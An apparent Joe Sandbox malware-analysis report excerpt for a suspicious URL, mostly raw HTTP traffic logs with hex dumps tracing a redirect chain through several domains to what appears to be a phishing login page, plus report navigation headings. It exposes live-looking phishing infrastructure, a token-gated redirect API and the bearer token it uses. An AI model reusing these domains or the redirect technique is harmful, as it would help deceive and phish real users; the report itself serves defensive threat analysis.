2025-04-02 23:18:08 UTC	719	OUT	POST /cdn-cgi/challenge-platform/h/g/jsd/r/0.3292434525870424:1743635421:7toW2C2B06kj9_L1hsFVkQV53rYAp6gtiaVQEyDO1_I/92a40b1abed1d826 HTTP/1.1 Host: netro.gitcombust.shop Connection: keep-alive Content-Length: 16562 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-mobile: ?0 Accept: / Origin: https://netro.gitcombust.shop Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:08 UTC	16384	OUT	Data Raw: 46 33 66 6e 68 6b 53 35 68 37 66 68 30 39 24 53 4a 53 34 4b 74 6e 6b 2d 4b 4f 56 4b 6c 36 6c 70 70 6b 35 53 61 42 4b 63 5a 2d 73 5a 44 66 4b 69 63 49 4d 24 5a 37 53 51 4b 30 4a 66 50 6a 33 33 4b 4f 58 70 4b 32 4b 70 2d 70 66 53 4b 54 70 53 4e 24 67 6e 58 37 33 7a 6f 77 6e 63 5a 52 33 56 4f 38 51 34 39 50 62 6e 4e 52 68 41 56 47 53 38 42 63 58 6c 4b 68 66 66 79 6c 69 6b 7a 6a 4b 59 50 6a 44 65 7a 4b 65 6e 39 69 4b 6b 41 66 4b 6c 6e 6b 6b 6e 52 30 6e 6c 4b 53 5a 4b 74 37 75 4b 53 47 7a 4b 4c 55 35 4f 50 33 49 53 4f 58 6a 66 4b 6b 55 7a 4b 6b 24 4d 74 4b 4d 6b 4b 53 7a 54 44 43 66 77 51 56 2d 6b 50 6b 53 65 4e 56 33 42 68 52 2b 64 65 63 4b 36 6e 6b 6c 72 71 33 4b 35 75 33 5a 39 44 63 31 54 50 4b 4d 64 65 58 52 36 4f 6e 4b 43 58 36 44 6c 66 47 68 64 58 37 2b Data Ascii: F3fnhkS5h7fh09$SJS4Ktnk-KOVKl6lppk5SaBKcZ-sZDfKicIM$Z7SQK0JfPj33KOXpK2Kp-pfSKTpSN$gnX73zowncZR3VO8Q49PbnNRhAVGS8BcXlKhffylikzjKYPjDezKen9iKkAfKlnkknR0nlKSZKt7uKSGzKLU5OP3ISOXjfKkUzKk$MtKMkKSzTDCfwQV-kPkSeNV3BhR+decK6nklrq3K5u3Z9Dc1TPKMdeXR6OnKCX6DlfGhdX7+
2025-04-02 23:18:08 UTC	178	OUT	Data Raw: 70 4b 43 4b 32 64 61 41 53 41 69 35 66 61 79 63 75 69 71 35 41 43 4b 31 6a 63 4f 70 66 2d 59 43 6d 70 48 5a 52 31 6d 39 6b 68 69 53 58 70 30 65 63 4f 56 66 32 30 77 43 44 4b 46 49 4c 4e 39 64 4b 54 6b 46 46 63 31 79 53 6b 77 6d 34 58 56 39 59 6b 41 6e 70 68 35 4b 30 5a 4b 59 35 30 31 63 36 75 65 33 38 61 46 2d 63 71 4b 4b 4b 30 56 4d 52 63 39 46 6e 39 64 4b 55 36 54 50 52 36 31 50 70 59 6e 6b 72 44 54 36 77 6a 51 79 30 54 4b 70 76 2d 50 66 6d 76 46 4b 68 42 67 56 4b 50 6a 4e 46 53 6c 79 4b 2b 69 55 4b 35 6e 4b 4b 39 49 6e 4b 4b Data Ascii: pKCK2daASAi5faycuiq5ACK1jcOpf-YCmpHZR1m9khiSXp0ecOVf20wCDKFILN9dKTkFFc1ySkwm4XV9YkAnph5K0ZKY501c6ue38aF-cqKKK0VMRc9Fn9dKU6TPR61PpYnkrDT6wjQy0TKpv-PfmvFKhBgVKPjNFSlyK+iUK5nKK9InKK
2025-04-02 23:18:08 UTC	1336	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 23:18:08 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 0 Connection: close set-cookie: cf_clearance=P.IKcnRDOMTfSxzCJhr4N7LbeGhQ66xSDzefk7WrqzI-1743635888-1.2.1.1-xK.XJzg0U95lIY1L5br3Uw0ucd8nAJCVuQaWULN7wiJtfiMKdHCS0CQDwmxyzzMRW1tqFIkeScPh0gHyzSTicRpZL50PsVcPJO5NvoWNH4HSaPpxJc5BMjuCiOzZ7m6xuCZVu4RGy000hjHZL.M0JGXktwwK6.EEdhAoyPW2dcn3LrACj6JrOlE1BNlf.dYCUrTDf_0inbrotH2wwi3PUKkqHIpmCuIlZOghmwhhVE0yvz9NQZBrbWAs0uBiqOqadMuMwKvEUxbhjF2_F1KyGuSOHXaHksVD2tgKEGc5kr4G3bFndSE4FRmIrO8lIVaGChgYjnDdfHmfqWrrhYkXSEJdLU5xAIYuyDraHjzB6Tk; HttpOnly; SameSite=None; Partitioned; Secure; Path=/; Domain=gitcombust.shop; Expires=Thu, 02 Apr 2026 23:18:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=61YHxWeTp7lsFKT9QszYsN0U1nYKThUphWZlMENOwdPmCnKDZ5wk7%2FI33MxWLmQfIzRCTQ78wU5MCZtAFdcKb7twVSOtYch7t03t9eQgrRsByg4Oyg4qH70sfPk%2By9GRzW4n8xAFVaE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92a40b2c7defde94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=101216&min_rtt=98161&rtt_var=23920&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=17919&delivery_rate=37949&cwnd=226&unsent_bytes=0&cid=db7428fc46e6b38f&ts=220&x=0"

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:08 UTC	529	OUT	POST /report/v4?s=78v7gUnqEBi0C3x9woRsrZqVo0pHX8lablwAzw5Ca00CiitcBhKNt91zFGl0B2j2ForlJCKLIDpmiSa8xVPUrhuAcIe%2FqX458OsKzV1M6YbE%2FzsVBh9uJ0Eusevb5geXbXOHK07ivqY%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 430 Content-Type: application/reports+json Origin: https://netro.gitcombust.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:08 UTC	430	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 32 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 65 74 72 6f 2e 67 69 74 63 6f 6d 62 75 73 74 2e 73 68 6f 70 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 36 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 Data Ascii: [{"age":0,"body":{"elapsed_time":927,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://netro.gitcombust.shop/","sampling_fraction":1.0,"server_ip":"104.21.16.1","status_code":404,"type":"http.error"},"type":"network-error","ur
2025-04-02 23:18:08 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 02 Apr 2025 23:18:08 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:08 UTC	512	OUT	GET /cdn-cgi/challenge-platform/h/g/jsd/r/0.3292434525870424:1743635421:7toW2C2B06kj9_L1hsFVkQV53rYAp6gtiaVQEyDO1_I/92a40b1abed1d826 HTTP/1.1 Host: netro.gitcombust.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:09 UTC	756	IN	HTTP/1.1 405 Method Not Allowed Date: Wed, 02 Apr 2025 23:18:09 GMT Content-Length: 0 Connection: close allow: POST Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AOsDOT7V2n%2BVqE59ga7URH%2BJY%2BtRcjJ3XYAruEQCMy71escOYn0jjqQd%2BQVjamwXRJvQVx%2FZs9nRMbvFMYhqgwGhDFtt6xi8TA4p4Ftrp44uuLoVPZQO3lt9Es67NcUZcIkPrfLuuNI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92a40b344f8b4397-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99677&min_rtt=97000&rtt_var=29004&sent=8&recv=8&lost=0&retrans=2&sent_bytes=4442&recv_bytes=1084&delivery_rate=12790&cwnd=229&unsent_bytes=0&cid=b7980dd2cd47f82a&ts=850&x=0"

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:10 UTC	539	OUT	OPTIONS /api/get_doc_url HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization Origin: https://netro.gitcombust.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://netro.gitcombust.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:10 UTC	539	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 23:18:10 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" rndr-id: c9246267-bdd5-41f4 vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 92a40b3bcbd5fbf2-EWR alt-svc: h3=":443"; ma=86400
2025-04-02 23:18:10 UTC	7	IN	Data Raw: 32 0d 0a 4f 4b 0d 0a Data Ascii: 2OK
2025-04-02 23:18:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:10 UTC	658	OUT	POST /api/get_doc_url HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Content-Length: 0 sec-ch-ua-platform: "Windows" Authorization: Bearer a3c4d5e8f9a0b1c2d3e4f56789abcdef User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://netro.gitcombust.shop Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://netro.gitcombust.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:11 UTC	546	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 23:18:11 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * etag: W/"95-mo14tJQZ6M58VgGaRaB581/3Smw" rndr-id: 1d41b0ec-f2fb-4d0c vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 92a40b3f4cff42c6-EWR alt-svc: h3=":443"; ma=86400
2025-04-02 23:18:11 UTC	155	IN	Data Raw: 39 35 0d 0a 7b 22 73 65 63 75 72 65 5f 75 72 6c 22 3a 22 68 74 74 70 3a 2f 2f 70 61 74 6e 65 72 6f 2e 74 68 65 73 69 6c 65 6e 74 2e 64 65 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 33 36 33 35 39 30 31 31 36 33 26 68 61 73 68 3d 33 37 62 35 31 30 36 37 35 63 66 39 64 32 66 32 31 32 63 61 65 66 33 35 37 65 35 62 61 36 63 36 34 62 31 30 62 31 66 34 61 38 66 35 62 37 39 30 30 31 64 65 31 33 36 36 38 64 65 33 33 32 35 62 22 7d 0d 0a Data Ascii: 95{"secure_url":"http://patnero.thesilent.de/api/redirect?expires=1743635901163&hash=37b510675cf9d2f212caef357e5ba6c64b10b1f4a8f5b79001de13668de3325b"}
2025-04-02 23:18:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:11 UTC	399	OUT	GET /api/get_doc_url HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:12 UTC	582	IN	HTTP/1.1 404 Not Found Date: Wed, 02 Apr 2025 23:18:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * content-security-policy: default-src 'none' rndr-id: 11da1edd-ff3b-4061 vary: Accept-Encoding x-content-type-options: nosniff x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 92a40b44ce168cbd-EWR alt-svc: h3=":443"; ma=86400
2025-04-02 23:18:12 UTC	160	IN	Data Raw: 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 61 70 69 2f 67 65 74 5f 64 6f 63 5f 75 72 6c 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 9a<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /api/get_doc_url</pre></body></html>
2025-04-02 23:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://tspice.nevendingwaer.shop/10s35o

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Windows Analysis Report
https://tspice.nevendingwaer.shop/10s35o

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:12 UTC	654	OUT	GET /ne/ HTTP/1.1 Host: classntfst.shop Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:13 UTC	291	IN	HTTP/1.1 302 Found Date: Wed, 02 Apr 2025 23:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Location: https://oka.greenthreads.hr Cf-Cache-Status: DYNAMIC CF-RAY: 92a40b49fdae4310-EWR alt-svc: h3=":443"; ma=86400
2025-04-02 23:18:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:14 UTC	760	OUT	GET /api/redirect?expires=1743635901163&hash=37b510675cf9d2f212caef357e5ba6c64b10b1f4a8f5b79001de13668de3325b HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:15 UTC	553	IN	HTTP/1.1 302 Found Date: Wed, 02 Apr 2025 23:18:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * location: https://classntfst.shop/ne/ rndr-id: 38e8deff-89a6-4126 vary: Accept vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 92a40b57699043c7-EWR alt-svc: h3=":443"; ma=86400
2025-04-02 23:18:15 UTC	62	IN	Data Raw: 33 38 0d 0a 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 63 6c 61 73 73 6e 74 66 73 74 2e 73 68 6f 70 2f 6e 65 2f 3c 2f 70 3e 0d 0a Data Ascii: 38<p>Found. Redirecting to https://classntfst.shop/ne/</p>
2025-04-02 23:18:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:15 UTC	655	OUT	GET / HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:16 UTC	525	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 97828 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline Content-Length: 2575 Content-Type: text/html; charset=utf-8 Date: Wed, 02 Apr 2025 23:18:16 GMT Etag: "38b7b3bb70cbd15961dde9e122fef975" Last-Modified: Tue, 01 Apr 2025 20:07:47 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: / X-Vercel-Cache: HIT X-Vercel-Id: iad1::cxgns-1743635896128-241189413aa6 Connection: close
2025-04-02 23:18:16 UTC	2372	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 74 79 6c 65 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 77 65 62 70 61 63 6b 2d 65 65 37 65 36 33 62 63 31 35 62 33 31 39 31 33 2e 6a 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 Data Ascii: <!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="preload" as="style" href="/_next/static/css/19d09a6113afa007.css"/><link rel="preload" as="script" href="/_next/static/chunks/webpack-ee7e63bc15b31913.js"/><link rel="preload" as="script" href="
2025-04-02 23:18:16 UTC	203	IN	Data Raw: 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 3e 7b 22 70 72 6f 70 73 22 3a 7b 22 70 61 67 65 50 72 6f 70 73 22 3a 7b 7d 7d 2c 22 70 61 67 65 22 3a 22 2f 22 2c 22 71 75 65 72 79 22 3a 7b 7d 2c 22 62 75 69 6c 64 49 64 22 3a 22 66 55 68 49 6c 30 48 71 64 31 61 5a 58 6f 68 61 78 71 59 38 74 22 2c 22 6e 65 78 74 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 61 75 74 6f 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 69 73 46 61 6c 6c 62 61 63 6b 22 3a 66 61 6c 73 65 2c 22 73 63 72 69 70 74 4c 6f 61 64 65 72 22 3a 5b 5d 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: type="application/json">{"props":{"pageProps":{}},"page":"/","query":{},"buildId":"fUhIl0Hqd1aZXohaxqY8t","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[]}</script></body></html>

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:16 UTC	581	OUT	GET /_next/static/css/19d09a6113afa007.css HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:16 UTC	593	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 92392 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="19d09a6113afa007.css" Content-Length: 1515 Content-Type: text/css; charset=utf-8 Date: Wed, 02 Apr 2025 23:18:16 GMT Etag: "358df2f88c6cb7b259f7dfa5095500d5" Last-Modified: Tue, 01 Apr 2025 21:38:24 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/19d09a6113afa007.css X-Vercel-Cache: HIT X-Vercel-Id: iad1::6tfwh-1743635896895-c04f503f8b52 Connection: close
2025-04-02 23:18:16 UTC	1515	IN	Data Raw: 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 35 6a 50 35 30 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 20 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 42 6f 78 5f 5f 54 6a 67 44 43 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 39 29 3b 62 6f Data Ascii: .Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);bo

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:16 UTC	577	OUT	GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:16 UTC	624	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 98960 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="webpack-ee7e63bc15b31913.js" Content-Length: 1999 Content-Type: application/javascript; charset=utf-8 Date: Wed, 02 Apr 2025 23:18:16 GMT Etag: "4a24b61c6d07899ae670ce7b6bbbe2f8" Last-Modified: Tue, 01 Apr 2025 19:48:56 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/webpack-ee7e63bc15b31913.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::22lwk-1743635896895-a630217d66ac Connection: close
